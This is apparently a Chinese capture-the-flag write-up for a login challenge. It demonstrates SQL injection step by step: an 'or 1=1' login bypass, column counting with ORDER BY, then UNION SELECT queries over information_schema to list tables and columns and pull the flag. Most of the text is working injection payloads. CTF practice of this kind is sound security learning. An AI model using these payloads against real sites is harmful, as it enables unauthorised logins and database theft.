1、判断是否存在注入点
如下图所示,用户名输入 aaa' or 1=1 -- a,点击“登录”按钮,若可以登录成功,则存在注入点。
或者用户名处输入 aaa' or 1=1 #,点击“登录”按钮,若可以登录成功,则存在注入点。
如下图所示,显示登录成功了!
说明: -- a,--和a之间有个空格,是sql语句中的一种注释,即: -- 这里是注释内容 --
#可以紧挨着有内容,是sql语句中的另一种注释,即: #这里是注释内容
2、是否有回显点
登录成功后,展示了ctfshow,尝试让这里显示其他内容。
F12查看用户名字段为username,密码为password,使用火狐浏览器的HackBar工具尝试sql注入。
判断登录涉及的表有几个字段,order by 3时,登录显示信息正常,如下图所示:
username=aaa' or 1=1 order by 3 #&password='12'
order by 4时,登录显示信息异常,如下图所示:
username=aaa' or 1=1 order by 4 #&password='12'
所以判断出,当前登录所涉及的表包含3个字段,如下图所示,使用 select 1,2,3 判断是否存在回显点。
username=aaa' union select 1,2,3 or 1=1 #&password='12'
3、查询该网站有几个表
username=aaa' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,3 or 1=1 #&password='12'
或
username=aaa' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1) ,3 or 1=1 #&password='12'
username=aaaa' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 1,1) ,3 or 1=1 #&password='12'
如下图所示,查询到2个表:
4、查询flag表的字段
username=aaa' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag') ,3 or 1=1 #&password='12'
或
username=a' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='flag' limit 0,1) ,3 or 1=1 #&password='12'
如下图所示, 查询到flag表字段只有1个也是flag。
5、查询表内容(查找到flag)
username=aaa' union select 1,(select group_concat(flag) from flag) ,3 or 1=1 #&password='12'
尝试将注入语句先后顺序调整,看看效果。
username=aaa' or 1=1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()) ,3 #&password='12'
如下图所示,这里的回显点不止显示1条数据。